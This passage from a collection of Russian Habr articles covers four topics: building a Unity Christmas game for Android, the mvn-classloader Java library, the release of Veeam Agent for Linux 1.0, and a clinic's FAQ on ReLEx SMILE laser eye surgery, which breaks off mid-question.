Доброго времени суток! Вот и закончил я разработку своей первой игры на Unity для Android. Причиной разработки игры послужил анализ вакансий на hh. Стало интересно, отчего же разработчикам игр работодатели готовы платить серьезные суммы. Ведь по сути мы (разработчики), в идеале, можем быть самодостаточными, т.к. практически каждый серьезный программист в состоянии сам создать достойный продукт и заниматься его продажей и продвижением. Мне кажется с созданием не должно возникнуть серьезных вопросов (кроме художественной части, ибо я не встречал пока прекрасного художника с отличными навыками в программировании), а вот бесплатное продвижение продукта, это тайна — по крайней мере сейчас и для меня. Перейдем собственно к самой игре. У меня двое маленьких детей и они часто играют в детские игрушки на телефоне, эдакие «отвлекалки». Естественно они тапают по рекламным баннерам с завидной частотой, чем не мало радуют разработчиков данных игр. Вышеперечисленные обстоятельства натолкнули меня на мысль о создании чего-то подобного, но не на отъе… сь (многие детские игры не блещут аккуратностью), а красивого и приятного глазу. При выборе темы, время года само продиктовало мне решение. Была выбрана новогодняя/рождественская тематика. Геймплей должен был получиться очень простой, но веселый и красочный. Тут начались работы головы на тему того, какие элементы реализовать в игре. В итоге на сцену было решено поместить следующие элементы: новогодние шары, ёлку, деда мороза пролетающего по таймеру и танцующего оленя со снеговиком. Каждый шар при нажатии должен был воспроизводить праздничную мелодию и получать определенный импульс, соответственно сталкиваясь с остальными шарами. Направление импульса зависит от того куда был произведен слайд по экрану. Каждый объект «шар» состоит из AudioClip, спрайта, box collider'a, rigidbody 2D, Distance Joint 2D и LineRendrer'a . На скриншоте проекта можно это хорошо разглядеть. Соответственно rigidbody 2D нужен для придания объекту массы и реализации воздействия гравитации, box collider реализует столкновения, Distace Joint 2D — наша не видимая нить на которой подвешен шар, а LineRenderer занимается отрисовкой нити Distace Joint 2D. К каждому шару прикреплен скрипт обработки нажатий, обработка реализована своими силами без использования Unity UI. Вот часть кода реализации обработки тапа по экрану: if (Input.touchCount > 0) { if (Input.GetTouch(0).phase == TouchPhase.Moved) { Vector3 tmp = Camera.main.ScreenToWorldPoint(new Vector3(Input.GetTouch(0).position.x, Input.GetTouch(0).position.y, 0)); hit = Physics2D.Raycast(tmp, tmp); if (hit.collider.gameObject == gameObject && hit.distance < 0.1) { if (Input.GetTouch(0).deltaPosition.x>0) rb2D.velocity += new Vector2(dspeed, 0f); else rb2D.velocity += new Vector2(-dspeed, 0f); if (Asrc.isPlaying) Asrc.Stop(); Asrc.PlayOneShot(aclip); } } } Ёлку было решено сделать не простую, а интерактивную. При тапе по ёлке включается музыка, начинает сыпать снежок из звезды и елка начинает танцевать. Ёлка состоит из трех подвижных элементов, связанных между собой Distace Joint 2D . Каждый элемент имеет box collider и соответственно скрипт обработки нажатий. Как и в случае с шарами, направление «танца» ёлочки зависит от направления слайда по экрану. Чтобы «танцы» ёлки выглядели мягче было решено разместить за объектом такую же ёлку немного размытую, чтобы задний фон не проглядывал за движущимися элементами ёлки. Дед мороз изначально задумывался «кликабельным», по клику он должен был говорить «Хо-хо-хо», махать рукой и осыпать все подарками. Нажатия обрабатываются по тому же принципу, что в шарах и ёлке. Взмахи руки деда мороза — это проигрываемая по тапу анимация. Дед мороз пролетает по заведомо прописанному в отдельной анимации маршруту. Подарки, которые кидает дед мороз являются префабами ( я думаю как вызывать к жизни префабы читающий статью кодер знает, и это не урок, а обзорная статья, если кому понадобиться отпишусь подробнее ), которые генерируются в рандомном количестве при тапе по деду морозу. При создании подарков надо было как-то реализовать их исчезновение. Исчезновение подарков я реализовал следующим образом: по таймеру включается система частиц, похожая на маленький фейерверк, далее происходит хлопок, подарок исчезает и с места исчезновения вылетают разные(рандомные) спрайты-игрушки. Чтобы подарки не проваливались сквозь «землю» на сцене реализован Edge Collider . Если Вы дочитали до этого места, то заметили две кнопочки в левом углу экрана, нажатия на эти на эти кнопки вызывают танцующего снеговика и оленя (оба являются префабами), анимации прописывались вручную, у каждого танцора есть по три анимации, при смене анимации танцоры поздравляют пользователя с рождеством. Танец заканчивается уменьшением scale объекта и включением системы частиц. Ничего особенного в реализации танцоров нет, единственное, что хотелось бы заметить: всегда при создании анимации ставьте галочку Quaternion в настройках интерполяции при анимации вращения . Видео Геймплея (прошу прощения за качество, на самом деле игра не тормозит, но вот с запущенной утилитой от гугл игр для записи геймплея все тормознулось): Изображения и музыку под лицензией CC можно найти тут: openclipart.org (изображения) и incompetech.com (музыка от Kevin MacLeod, лицензия CC attribution 3.0). Теперь вкратце расскажу про подводные камни паблишинга, хотя они не такие уж и подводные, но камни. При разработке проекта в него вшивается дебаг ключ по умолчанию, так вот, с таким ключом нельзя публиковать приложение в Google Play. Приложение перед публикацией необходимо подписать Вашим релиз ключом, делается это все стандартными средствами Unity. Есть статьи в которых данное действо описано очень подробно, так что не буду на этом подробно останавливаться. Еще один страшный камень это указание цен на приложение в маркете для разных стран, приготовьтесь попыхтеть на этом этапе, хоть и ничего сложного не было, но нервы этот процесс потрепал. Самое главное: не ленитесь писать боольшое адекватное описание вашего продукта, это залог успеха на начальном этапе, если вы не используете никакие методы продвижения. Монетизировать игру я решил с помощью Unity Ads, очень легко встраивается и хорошо работает. AdMob плагин при встраивании начал ругаться на SDK, на Java, я так и не одолел его ругань, а декабрь подходил очень быстро в итоге я остался на UnityAds. На данный момент есть просмотры и завершенные просмотры, но начислений пока нет. Так что статистику и выводы по монетизации пока дать не смогу. Будем ждать. Всем спасибо за прочтение статьи. Надеюсь для кого-нибудь она оказалась полезной! Ссылку на приложение оформлю в виде спойлера: Ссылка на приложение в Google Play play.google.com/store/apps/details?id=com.krascoder.ChristmasGameFree
https://habrahabr.ru/post/318006/
habrahabr
Модуляризация в JavaSE без OSGI и Jigsaw
['open source', 'java', 'maven', 'module', 'classloader', 'groovy grape']
mvn-classloader — загрузчик классов и ресурсов из maven совместимых репозитариев. Этот проект позволяет добавить ограниченную по возможностям и не сложную систему модулей в JavaSE приложение, где...
mvn-classloader — загрузчик классов и ресурсов из maven совместимых репозитариев. Этот проект позволяет добавить ограниченную по возможностям и не сложную систему модулей в JavaSE приложение, где не нужна вся мощь и сложность OSGI. Про то что еще позволяет делать mvn-classloader кроме модулей узнаете в статье. Идея написать про вполне очевидные вещи возникла, когда прочитал одну из популярных статей на dzone ModRun: Modularity for Java — Without Jigsaw и не смог удержаться прокомментировать ее. Грустно когда люди не умеют искать решения, создают очередной велосипед который «не дотягивает» по функционалу и не смотрят на то, что давно реализовано до них и есть в github и центральном репозитарии maven. Для чего может быть полезен mvn-classloader Загрузка классов из maven в изолированном загрузчике классов и сборка простой модульной системы на основе classloader; MavenServiceLoader делает то что и java.util.ServiceLoader, но кроме того загружает сервисы из maven модулей; Загрузка двоичных файлов и ресурсов из репозитариев; Создание иерархии загрузчиков классов, если очень хочется запутаться в дереве загрузчиков и порядке инициализации. Загрузка и запуск приложения из maven репозитария; UniversalURLStreamHandlerFactory для поддержки сотни новых протоколов java.net.URL; «Прокачка» механизма Grape из Groovy для работы с родным для maven провайдером Aether, а не кустарным Ivy. Пару слов про работу в кровавом энтерпрайзе с изолированной сетью за проксирующими репозиториями где опять же maven стандарт де-факто. Этому проекту доступны настройки которые по-умолчанию читает maven из ~/.m2/settings.xml и ~/.m2/settings-security.xml. И если у вас правильно настроен maven и все работает, не потребуется какой-либо дополнительной конфигурации. Переопределить же эти настройки можно с помощью system property (передаются как параметры с "-D" при старте виртуальной машины): mavenSettings.offline=true — переводит Aether в режим offline и пытается найти модули только в локальном кеше maven репозитария. mavenSettings — путь к файлу settings.xml mavenSettingsSecurity — путь к файлу settings-security.xml Проект доступен в центральном maven репозитарии com.github.igor-suhorukov:mvn-classloader:1.8 и на гитхабе . По порядку рассмотрим доступный функционал и примеры использования. Загрузка классов из maven Точкой входа для создания загрузчика служит класс com.github.igorsuhorukov.smreed.dropship.MavenClassLoader. Проще всего начать работу с методов forMavenCoordinates(...), которые загружают классы из центрального maven репозитария или его зеркала, указанного в секции mirror-of файла settings.xml. Когда же хотите загрузить классы из другого репозитария по ссылке, вам нужно вызвать метод using(ссылка_на_ваш_maven_репозитарий).forMavenCoordinates(...). Координатами артефакта в maven для загрузчика класса является формат groupId:artifactId[:extension[:classifier]]:version Начнем с примера загрузки класса io.hawt.app.App из артефакта io.hawt:hawtio-app:2.0.0. Создадим изолированный загрузчик классов, где будут своя версия классов веб сервера jetty и логгера. Это нужно для запуска административной консоли в том же jvm процессе что и ваше приложение. При работе с классами в java, прийдется использовать reflection: Class<?> hawtIoConsole = MavenClassLoader.usingCentralRepo().forMavenCoordinates("io.hawt:hawtio-app:2.0.0").loadClass("io.hawt.app.App"); Thread.currentThread().setContextClassLoader(hawtIoConsole.getClassLoader()); Method main = hawtIoConsole.getMethod("main", String[].class); main.invoke(null, (Object) new String[]{"--port","10090"}); В Groovy этот же код записывается лаконичнее: def hawtIoConsole = MavenClassLoader.usingCentralRepo().forMavenCoordinates('io.hawt:hawtio-app:2.0.0').loadClass('io.hawt.app.App') Thread.currentThread().setContextClassLoader(hawtIoConsole.getClassLoader()) hawtIoConsole.main('--port','10090') Если же модулям приложения нужно взаимодействовать между собой, то не обойтись без нескольких своих загрузчиков, их иерархии и, возможно, вам поможет MavenServiceLoader как примитивная альтернатива сервисам OSGI. Краткий обзор использования нескольких classloader найдете в разделе «Создание иерархии загрузчиков классов». MavenServiceLoader Этот загрузчик сервисов загружает классы из maven модулей с помощью java.util.ServiceLoader. Но чтобы артефакт предоставлял сервис, нужно обязательно запаковать в META-INF/services артефакта дескриптор сервиса. Подробно про то как работает ServiceLoader можете прочитать в javadoc или подсмотреть как реализовано на примере сервиса в проектах camel-url-handler и vfs-url-handler . В качестве примера, от того что вы передадите в переменной protocol — vfs или camel — загрузится реализация сервиса URLStreamHandlerFactory из соотвествующего артефакта vfs-url-handler или camel-url-handler. String artifact = System.getProperty(protocol+"MvnUrlHandler", String.format("com.github.igor-suhorukov:%s-url-handler:LATEST",protocol)); Collection<URLStreamHandlerFactory> urlStreamHandlerFactories = MavenServiceLoader.loadServices(artifact, URLStreamHandlerFactory.class); Загрузка двоичных файлов и ресурсов из репозитариев С помощью проекта можно загружать любой двоичный артефакт из maven репозитария, просто указывая дополнительно в координатах артефакта classifier и type. Как пример приведу загрузку и запуск вебдрайвера для chrome. В webdriver для реального браузера кроме API на стороне клиента есть и исполнимая в отдельном процессе часть, которая делает браузер марионеткой приложения. Часто его скачивают вручную и указывают путь в приложении. Но зачем, если можно это сделать автоматически!? В зависимости от того, какая операционная система, нужно передать в качестве значения os win32, linux64 или mac64. При этом win32 работает и на 64 разрядных системах: String chromedriver = MavenClassLoader.usingCentralRepo().resolveArtifact("com.github.igor-suhorukov:chromedriver:bin:" + os + ":2.24").getFile(); // в случае linux нужно сделать в программе chmod(chromedriver); System.setProperty("webdriver.chrome.driver", chromedriver); Создание иерархии загрузчиков классов Комбинируя создания загрузчиков классов из maven с помощью вызовов методов класса com.github.igorsuhorukov.smreed.dropship.MavenClassLoader forMavenCoordinates(java.lang.String gav) — в простейшем случае изолированный загрузчик, который ничего не знает об уже загруженных приложением классах. Будет повторно загружать их же из maven зависимостей и позволяет достичь максимальной степени изоляции загрузки. forMavenCoordinates(java.lang.String gav, java.lang.ClassLoader parent) — вызов этого метода позволяет указать родительский загрузчик классов. Изоляция модулей меньше, зато можно разделять уже загруженные классы, например логгеров, своего API и т.п. Часто parent загрузчик это такой же MavenClassLoader или, например, Thread.currentThread().getContextClassLoader() И создания из множества этих загрузчиков нового агрегированного «корневого» загрузчика. Для этого можно использовать загрузчик классов из массива ClassLoader: com.github.igorsuhorukov.codehaus.spice.classman.runtime.JoinClassLoader(ClassLoader[] classLoaders, ClassLoader parent) Если перегнуть палку используя такой подход, через некоторое время ваше приложение по сложности загрузки классов превзойдет OSGI/JEE сервер. Ввязываться ли в это и путаться ли в иерархии загрузчиков классов — решать вам, как специалисту. Когда потребуется для решения задачи такой инструмент, он вам доступен. В сложных случаях и большом количестве зависимых модулей с сложным порядком инициализации OSGI будет лучшим решением, так же как и когда требуется динамическая перезагрузка классов. Загрузка и запуск приложения из maven репозитария mvn-classloader может загружать и запускать классы из maven артефактов. Это легко сделать — нужно лишь передать в командной строке параметры groupId:artifactId[:version] classname. Приведу примеры. Запускаем http proxy одной командой: java -Dos.detected.classifier=windows-x86_64 -jar mvn-classloader-1.8.jar org.littleshoot:littleproxy:1.1.0 org.littleshoot.proxy.Launcher Или же запуск своего git сервера gitblit : java -jar mvn-classloader-1.8.jar org.eclipse.jetty:jetty-runner:9.4.0.v20161208 org.eclipse.jetty.runner.Runner http://gitblit.github.io/gitblit-maven/com/gitblit/gitblit/1.8.0/gitblit-1.8.0.war UniversalURLStreamHandlerFactory UniversalURLStreamHandlerFactory — обработчик URL для подгружаемых реализаций протоколов и он доступен в mvn-classloader. Загружает их из maven репозитария либо использует локальный кеш репозитария. Сейчас для URL поддерживаются протоколы: mvn: — позволяет читать артефакт из maven репозитария groupId:artifactId[:extension[:classifier]]:version[?custom_repository_URL] vfs: — 16 протоколов из commons-vfs camel: пытаюсь поддерживать 189 протоколов из компонентов apache camel Зарегистрировать универсальный обработчик в java программе просто — лишь добавить инициализацию перед использованием таких экзотических адресов в URL: java.net.URL.setURLStreamHandlerFactory(new com.github.igorsuhorukov.url.handler.UniversalURLStreamHandlerFactory()); Но надо помнить об ограничении стандартной библиотеки java, что вызывать java.net.URL.setURLStreamHandlerFactory можно только один раз за все время работы программы. Примеры его использования можете найти в статье java.net.URL или старый конь борозды не испортит «Прокачка» механизма Grape из Groovy mvn-classloader также содержит AetherGrapeEngine из проекта spring boot и минимум необходимых зависимостей для его работы. Grape — механизм разрешения зависимостей, встроенный в язык Groovy но имеющий не лучшую реализацию на Ivy из коробки. Про это рассказывал в публикации Уличная магия в скриптах или что связывает Groovy, Ivy и Maven? . И почти в каждой моей статье в хабе groovy я привожу примеры. Самый последний пример про сигнализацию для холодильника с видеорегистрацией в виде одного groovy файла: java -Dlogin=...YOUR_EMAIL...@mail.ru -Dpassword=******* -jar groovy-grape-aether-2.4.5.4.jar AlarmSystem.groovy Заключение Пару лет назад нашел, объединил и доработал несколько open source технологий в одном проекте. Все необходимые для работы зависимости запакованы в один файл mvn-classloader.jar. Как и у каждой технологии, у mvn-classloader есть своя область применимости — никакого динамизма и перезагрузки классов, как в OSGI в нем нет и работа с классами на более низком уровне. Но для перечисленных задач mvn-classloader может стать лучшим выбором, в том числе для проектов с микросервисной архитектурой без JEE. На основной работе активно использовал его для модификации и тестирования сложной распределенной системы в составе aspectj-scripting . Если вам нужно что-либо из перечисленной в этой статье функциональности, то просто добавьте зависимость в сборку maven: <dependency> <groupId>com.github.igor-suhorukov</groupId> <artifactId>mvn-classloader</artifactId> <version>1.8</version> </dependency> или gradle compile group: 'com.github.igor-suhorukov', name: 'mvn-classloader', version: '1.8' и начните использовать в ваших проектах!
https://habrahabr.ru/post/317578/
habrahabr
Состоялся релиз Veeam Agent for Linux 1.0 (Free, Workstation, Server Edition)
['veeam', 'резервное копирование', 'восстановление', 'linux-сервер', 'бесплатно', 'free']
Много лет компания Veeam выпускала продукты только для виртуальной среды. Но последнее время нас постоянно спрашивали: «А когда появится что-нибудь для физических машин?» Проанализировав запросы...
Много лет компания Veeam выпускала продукты только для виртуальной среды. Но последнее время нас постоянно спрашивали: «А когда появится что-нибудь для физических машин?» Проанализировав запросы пользователей и свои возможности развития в этом направлении, мы выпустили Veeam Agent for Microsoft Windows (ранее известный как Veeam Endpoint Backup FREE ). Кстати, в ближайшее время выйдет версия 2.0, в которой будет представлено много интересных возможностей. Сегодня мы рады представить первую официальную версию Veeam Agent for Linux ! Veeam Agent for Linux позволит защитить физические машины под управлением Linux, развернутые локально или в публичном облаке. Инструмент самостоятельный, установки Veeam Backup & Replication не требует (хотя и может использовать репозитории Veeam Backup & Replication в качестве целевого хранилища). Что такое Veeam Agent for Linux ? Veeam Agent for Linux – инструмент для резервного копирования физических систем Linux (рабочих станций, серверов и машин в публичном облаке). Общее описание можно посмотреть в нашем посте на Хабре: " Знакомство с Veeam Agent for Linux ". Продукт создает резервную копию на уровне образа и сохраняет данные в файл формата VBK (так же, как и Veeam Backup & Replication и Veeam Agent for Microsoft Windows ). Veeam Agent for Linux использует собственный драйвер для создания снимков тома и отслеживания измененных блоков данных (CBT). Драйвер позволяет получить информацию об измененных блоках данных без рескана машины целиком — незаменимая вещь для инкрементального резервного копирования. Системные требования Veeam Agent for Linux : ЦПУ: x86/x64 Ядро: 2.6.32 или выше ОС: 32 и 64-битные версии: Debian 6 — 8 Ubuntu 10.04 — 16.10 CentOS / Oracle Linux / RHEL 6 — 7 Fedora 23 — 25 openSUSE 11.3 — 13.2 openSUSE Leap 42 SLES 11 SP1 — 12 SP2 По сравнению с бета-версией, процесс установки стал значительно проще: устанавливать пакеты вручную теперь не нужно. Установку и апгрейд можно осуществлять через Veeam Repository. Подробнее о процедуре установки можно узнать в документе Release Notes. Итак, продукт вы установили. Что дальше? Veeam Agent for Linux предлагает два режима работы – с помощью пошагового мастера UI и через командную строку. Резервное копирование через UI Чтобы запустить мастер, откройте командную оболочку и используйте команду: $ veeam Если вы уже работали с Veeam Agent for Microsoft Windows , процесс создания резервной копии будет вам знаком: Режим резервного копирования: «на голое железо», на уровне тома или файлов. Репозиторий для резервных копий: локальный диск, сетевая папка или репозиторий Veeam Backup & Replication (требует 9.5 Update 1). Настройки расписания и политик хранения. Резервное копирование через командную строку Если вам нужна тонкая настройка или вы хотите создать собственные скрипты для автоматизации установки решения и выполнения заданий резервного копирования, есть командная строка. Начните с команды: # veeamconfig Чтобы создать задание резервного копирования, используйте команду: # veeamconfig job create А затем укажите нужные параметры задания. Как видно на скриншоте, с помощью командной строки можно настроить параметры, которые не доступны в мастере UI, например, compressionLevel и blockSize . Решили хранить резервные копии в репозитории Veeam Backup & Replication ? Все копии будут отображаться в Veeam Backup & Replication под узлом Agents : Восстановление Для восстановления файлов просто запустите Veeam Agent for Linux UI и выберите команду Recover Files . Содержимое резервной копии будет смонтировано в систему как папка, и вы сможете достать нужные файлы с помощью любого файлового менеджера. А еще Veeam Agent for Linux поставляется с носителем для восстановления системы (recovery media), который поможет восстановить данные на любом уровне: «на голое железо», на уровне тома или файлов. Редакции Veeam Agent for Linux Veeam Agent for Linux представлен в трех редакциях: Free , Workstation и Server . Free Издание Free — отличное решение для домашнего использования и защиты некритичных производственных систем. Предлагает базовые возможности: создание снимков тома и использование CBT, все режимы резервного копирования и восстановления (через UI и командную строку), а также интеграция с Veeam Backup & Replication. Workstation Ключевая возможность издания Workstation — поддержка 24.7.365 корпоративного уровня (в дополнение к возможностям бесплатной версии). Server Издание Server – самая продвинутая версия. Включает возможность запуска pre-freeze и post-thaw скриптов и конфигурацию нескольких заданий резервного копирования. Сравнение изданий: Free Workstation Server Резервное копирование: вся система, на уровне тома или файлов Да Да Да Встроенный драйвер для создания снимков тома и CBT Да Да Да Восстановление на уровне файлов, томов или на «голое железо» (исходная или др. система) Да Да Да Резервное копирование и восстановление через UI и командную строку Да Да Да Интеграция с Veeam Backup & Replication Да Да Да Несколько заданий резервного копирования Нет Нет Да Скрипты pre-freeze и post-thaw Нет Нет Да Поддержка 24.7.365 Нет Да Да Дополнительные ссылки Скачать Veeam Agent for Linux FREE можно здесь . Посты о Veeam Agent for Linux : Часть 1: Установка и создание резервной копии Часть 2: Как восстановить данные Часть 3: Командная строка (англ. яз.)
https://habrahabr.ru/company/veeam/blog/317952/
habrahabr
Ещё пара неочевидных вещей, которые вам могут не рассказать до лазерной коррекции зрения
['лазер', 'коррекция', 'зрение', 'глаз', 'глаза', 'операция', 'лазерная коррекция', 'ReLEx', 'SMILE', 'FLEX', 'роговица']
Сегодня без «жести», как вы просили Уже есть пост про то, как лазер режет с помощью создания миллионов кавитационных пузырей в слое роговицы глаза, и разбор телеметрии с реальной операции по...
Сегодня без «жести», как вы просили Уже есть пост про то, как лазер режет с помощью создания миллионов кавитационных пузырей в слое роговицы глаза, и разбор телеметрии с реальной операции по секундам с комментариями действий хирурга. И ещё история операций . Вы задали очень много вопросов. Теперь FAQ про разные сопутствующие вещи. — Если я посмотрю в сторону во время работы лазера, что случится? У вас попросту не выйдет. На самом деле сразу после обезболивания глаз прижимается к специальному пневмозахвату. Моргнуть у вас тоже не выйдет из-за фиксации (это небольно и недолго). Единственный момент, где можно серьёзно нарушить ход операции — это сильно дёрнуть головой, серьёзным волевым усилием вытащив её из подголовника. В этом случае операция мгновенно прекратится. Точнее, она прекратится даже до потери захвата (детали ниже). — Как должна быть подготовлена операционная? В целом — как обычная операционная, то есть это помещение с чистой зоной (фильтрация воздуха, избыточное давление для предотвращения загрязнений извне после очистки). Для процедуры важно, чтобы между линзой лазера и глазом не попадали микрочастицы пыли, летающие в воздухе. — Каковы шансы на то, что я дёрну головой во время операции? Шансов у вас мало, но примерно раз в 2 тысячи операций пациент всё же умудряется это сделать из-за внешнего события, например, потопа или землетрясения. В серьёзных клиниках процесс операции контролирует несколько человек, горит индикация, дверь фиксируется, и вообще делается всё, чтобы такого не случилось. В лазере «Визумакс» есть специальная функция, которая автоматически блокирует открытие двери во время работы лазера. У нас, например, перед операцией с пациентом несколько раз проговаривают алгоритм действий и хирург, и медсестра. И тем не менее, чтобы вы не нервничали, с вами постоянно во время операции разговаривает хирург (сюрприз: скорее всего, когда он замолчит, операция по факту уже закончится, а вы только начнёте думать, что надо сосредотачиваться). В руках у вас специальная мягкая игрушка, которая отвлекает управление моторикой. Голова лежит на специальном ложементе, на котором сложно подвинуться без сознательного сильного усилия. В общем, практически всё продумано. Да, игрушку вы забираете с собой на память об успешно проведённой операции. — Что случится в этом маловероятном случае, если нарушится пневмозахват? Пневмозахват сконструирован так, чтобы держать глаз достаточно мягко, потому что сильное нажатие на поверхность меняет давление в глазу и геометрию тканей. Кроме того, смарт-кровать, на которой вы лежите, подстраивается под микроколебания и чуть прижимает вас кверху. Если фиксация пропадёт, лазер в течение нескольких миллисекунд прекратит операцию. Происходит это следующим образом: в пневмозахвате есть манометр, который контролирует, собственно, фиксацию глаза. Если вы дёргаете головой, то в микромире происходит довольно много всего. Сначала начинает падать давление, а потом уже глаз теряет контакт с захватом. Датчик успевает отключить лазер до того, как глаз окончательно потеряет контакт и запоминает контрольную точку останова. — Я параноик. Предположим, я мотнул головой, лазер отключился. А что дальше с глазом? Зависит от того, где именно произошла остановка. В примерно 50% случаев можно будет продолжить штатно, но хирургу придётся делать небольшой разрез на точке остановки алмазным скальпелем (там образуется небольшой непрорезанный мостик). У меня 300 операций ReLEx в год, и пока случаев не было. Мой партнёр и изобретатель технологии профессор Секундо проводит больше — массово примерно 8 лет. За тысячи операций по коррекции зрения с таким скальпелем наготове, он ещё ни разу его не использовал его во время ReLEx. В части случаев (примерно 40%) нужно будет сделать широкий разрез, то есть сменить операцию со SMILE на FLEX — она более инвазивная, но качество коррекции то же. Было дважды за 8 лет в немецкой клинике, оба пациента не испытывали осложнений. В примерно 10% случаев потребуется другой тип коррекции. Мы всегда выбираем самый оптимальный вариант и останавливаемся при малейших сомнениях. Микроразрез в глазу сам по себе ни на что почти не влияет, ключевое изменение механики — именно извлечение вырезанной линзы-лентикулы и схлопывание образовавшейся полости. В общем, в случае сложного останова мы рекомендуем выжидать 2 часа до ухода газа из кавитационных пузырей — это нужно не только для того, чтобы хирург принял взвешенное решение и сделал диагностику ещё раз, не на лету, но и для того, чтобы пациент успокоился. — А если я мотну головой не под лазером, а когда хирург будет вынимать лентикулу? Один такой случай действительно был во время первых 500 операций в Германии: пациентка занервничала и дёрнулась, а именно в этот момент внутри глаза находился острый шпатель (пятое поколение лазеров требовало более острых инструментов — приходилось немного прорезать мостики и спайки, сейчас шпатели тупые). С тех пор пациенту ничего не грозит, поскольку обязательная часть методики — захват глаза пинцетом, чтобы не допустить такого. Да, кстати, у этой пациентки, ничего страшного не произошло — хирург чуть иначе отслоил лентикулу, на качестве зрения это не сказалось. Худшее, что может произойти — расширится разрез. Он естественным образом увеличивается в радиальном направлении — это не очень страшно, просто как если бы хирург сделал чуть большую область для получения доступа к лентикуле. — Есть ли сейсмозащита у лазера? За 10 лет практики мы ни разу не слышали о том, что посторонние вибрации мешают на стадии выполнения лазерного разреза. На этапе ручной работы хирурга они реально могли бы помешать, но специальный упор под локоть врача сконструирован так, что пациент и рука хирурга становятся одной жёстко связанной системой. В сейсмоопасных регионах предусмотрены специальные конструкции здания, в которых располагаются операционные блоки. — Какая используется энергозащита? Стандартный фемтолазер VisuMax комплектуется встроенными батареями резервного питания и имеет встроенный фильтр питания. Другие лазеры могут не иметь своих батарей, но иметь стандартные вводы для медицинских ИБП. Даже если во всей клинике отключат электричество, лазер сможет закончить операцию. Новую, правда, начать не даст. На случай проблем есть ещё один уровень страховки — VisuMax запоминает место остановки и способен его потом найти. — А можно я приду уже «пригашенный» или меня прямо у вас погрузят в медикаментозный сон? В теории это возможно, но на практике нам нужен пациент с реагирующими глазами для точной центровки (точнее, её контроля). Поэтому забудьте про медикаментозный сон (даже лёгкий) — ваши 20–25 секунд страха и неприятных ощущений не стоят повышения риска операции. Соответственно, по этой же причине мы не рекомендуем употреблять психоактивные вещества до операции. Ну и не надо приходить в изменённых состояниях. — Что я почувствую во время операции? Перед операцией вы пройдёте тройной инструктаж и трижды прослушаете историю про «зелёную лампочку». Операция выполняется амбулаторно, на оба глаза занимает в среднем 20 минут. Если вы немного взволнованы и нервничаете — это совершенно нормально. Если вы испытываете слишком сильное беспокойство, можно попросить таблетку успокоительного. Перед операцией мы ещё раз вместе изучим все данные, после чего врач закапает в оперируемый глаз обезболивающие капли. Для предотвращения моргания во время операции веко фиксируется специальным расширителем, второй глаз закрывается. Чтобы не создавать рисков появления внешних предметов в оптической зоне лазера, пациенту могут помыть поверхность глаза и подрезать выступающую ресницу. Затем пациента перемещением стола переводят в рабочее положение лазера и просят смотреть на зеленый светодиод, который перемещается и становится четко виден. В этот момент хирург центрирует оптическую поверхность линзы по отношению к оптической оси глаза, добивается контакта между линзой и поверхностью роговицы. Выполняется захват и фиксация при помощи специальной линзы, регулируемой в соответствии с индивидуальными особенностями глаза пациента. Затем работает лазер как вот здесь на телеметрии. В конце работы лазера пациента переводят в безопасное положение на столе и переводят под микроскоп. Врач выделяет лентикулу шпателем и извлекает её. При этом пациент обычно видит светлую точку и чувствует лёгкие вибрации. Затем пациент может немного поплакать пару часов. Но не только от радости, а из-за рефлекса, вызывающего слёзы при повреждении глаза. Некоторое время у некоторых может ощущаться лёгкое жжение в глазах, которое по ощущениям куда слабее, чем от дыма при приготовлении шашлыка. Чаще всего этот этап проходит вообще без особых эмоций. На следующий день неприятные ощущения пропадают, зрительная нагрузка не ограничена, но лучше, несмотря на это, не напрягать слишком сильно глаза чтением, телефоном или фильмами. Нельзя посещать сауну некоторое время, чтобы вода не попала в 2,5-миллиметровый разрез, который использовался для доступа к лентикуле. — Как рассчитывается рабочий режим лазера и форма реза? Во-первых, одна из важнейших вещей при подготовке операции — точная диагностика и точное измерение глаза. Комплексное первичное обследование перед коррекцией в нашей клинике — это 16 обследований на самой современной специализированной аппаратуре по единому европейскому протоколу. Затем следует детальная консультация с одним из профессоров-хирургов, чтобы обсудить оптимальный для пациента вариант коррекции с учетом его зрительных потребностей, образа жизни и анатомии глаза. Обследования и послеоперационное наблюдение пациентов выполняют только офтальмологи, имеющие опыт в области рефракционной хирургии. Все это крайне важно для корректных расчетов параметров лазерной коррекции. На основе них задаётся модель для автоматики лазера. Про весь этот этап я расскажу ещё подробнее чуть позже. Во-вторых, параметры и форма реза зависят от величины вашей близорукости и астигматизма, размеров и формы роговицы, даже от величины глазной щели и носа. В случае со сложными случаями астигматизма от правильности захвата и центровки зависит очень многое, но как это делается и как эволюционировали методы, — это отдельный рассказ. В-третьих, рабочий режим зависит от предпочтений хирурга, от его навыков и мастерства — мы изменяем скважность и диаметр пятна для получения оптимального качества резов и оптимальных условий для извлечения лентикулы. В-четвертых, от конкретной лазерной установки VisuMax: надо немного подстраиваться под именно свой лазер, они чуть-чуть да отличаются в серии. — Что делать, если центр зрения не совпадает с центром зрачка? Это нечастый (примерно 10%), но возможный случай, когда угол между зрительной и анатомической осями глаза (угол Каппа) большой. Он выявляется до операции и требует специального изменения модели. Здесь крайне важна квалификация хирурга. Тоже тема для отдельного рассказа. — Как насчёт докоррекций после SMILE? В нашей практике (немецкой и российской) ещё ни у одного пациента необходимости в докоррекции не было. Но технологически существуют специальные методы, которые позволяют докоррекцию проводить. Как именно — решать врачу. На европейском конгрессе в Копенгагене в этом году доктор Дэн Рэнштайн делал доклад, в котором перечислил 5 различных методик докоррекции в разных случаях. Так что, если пациенту вдруг потребуется, есть из чего выбрать. После SMILE качество оптики на лазерах 6-го поколения стабильно выше, чем после LASIK или femtoLASIK, вероятность побочных оптических эффектов существенно меньше. Когда мы планируем лазерную коррекцию, то мы рассчитываем на то, что эта процедура делается только раз в жизни. Процент докоррекции по обобщённой международной статистике для SMILE самый низкий на сегодня — около 0,5%. В специализированных клиниках у опытных врачей он существенно меньше. Повторюсь, конкретно у нас их не было, но вероятность исключать нельзя, поэтому это пока, скорее, вопрос опыта и везения. — Почему нужно доставать лентикулу, а не испарять её внутри глаза? В теории, конечно, можно попробовать испарять слой за слоем лентикулу внутри роговицы, не «открывая» её вообще. Сложность в том, что это потребует выведения продуктов распада из глаза, а обмен жидкостей там очень и очень медленный. По предварительным расчётам, в теории, можно делать по 0,25 диоптрии за неделю, плюс понадобится пока ещё не созданная совершенная система позиционирования, чтобы продолжать работу, начатую в прошлый раз. Ну, либо технические метки прямо в глазу, что тоже далеко не лучшая мысль. На практике же ограничение ещё проще: ни один пациент не будет платить 10–20 раз за операцию (а цена будет ненамного ниже, чем при обычном ReLEx) и ходить на неё полгода каждую неделю. Поэтому пока это идея для будущего. — Что 